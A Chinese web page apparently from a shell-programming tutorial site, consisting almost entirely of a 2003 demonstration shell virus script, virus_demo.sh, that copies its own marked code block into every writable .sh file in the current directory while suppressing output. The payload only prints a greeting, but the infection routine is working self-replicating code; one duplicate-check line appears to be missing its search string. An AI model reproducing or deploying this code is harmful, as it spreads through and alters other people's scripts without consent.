Linux shell脚本程序阐释病毒感染基本原理
#!/bin/sh
#文件名: virus_demo.sh
#用途 : shell病毒演示。
#说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写 :watercloud@xfocus.org
#日期 : 2003-5-13
#B:
vFile=$_ ; #USERNAME
vTmp=/tmp/.vTmp.$$ #
for f in ./*.sh; #感染所有当前目录下的.sh脚本文件
do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;
if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;
unset vFile ;
unset vNo
echo "Hi, here is a demo shell virus in your script !"
#E:
#EOF
- 上一篇:经典shell编程实例
- 下一篇:shell脚本--检查文件是否存在